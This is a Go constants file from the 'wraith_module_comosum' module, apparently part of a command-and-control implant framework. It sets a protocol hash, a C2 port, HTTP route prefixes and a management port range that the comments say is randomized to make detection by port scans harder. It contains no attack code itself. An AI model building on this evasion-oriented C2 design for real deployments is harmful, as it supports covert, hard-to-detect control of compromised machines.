wraith_module_comosum/internal/radio/constants.go

24 lines
875 B
Go

package radio
const (
// The version of the wraith_module_comosum protocol supported by the current
// version of the module. This is updated whenever a breaking change is made to
// the protocol.
// Typically generated by hashing a string describing the protocol. Unofficial
// versions must be namespaced, by means of a prefix before the hash!
// 0: md5("let there be light")
CURRENT_PROTO = "bd52000e8ba92c956413c49794d3a600"
// The range of ports the Comosum client can bind to on the Yggdrasil interface.
// This is randomized to make detection more difficult from within the Yggdrasil
// network by port scans for instance.
MGMT_LISTEN_PORT_MIN = 10000
MGMT_LISTEN_PORT_MAX = 50000
// The port on the C2 which Comosum clients connect to.
C2_PORT = 45235
// The prefix for all Comosum HTTP routes.
ROUTE_PREFIX = "/_comosum/" + CURRENT_PROTO + "/"
)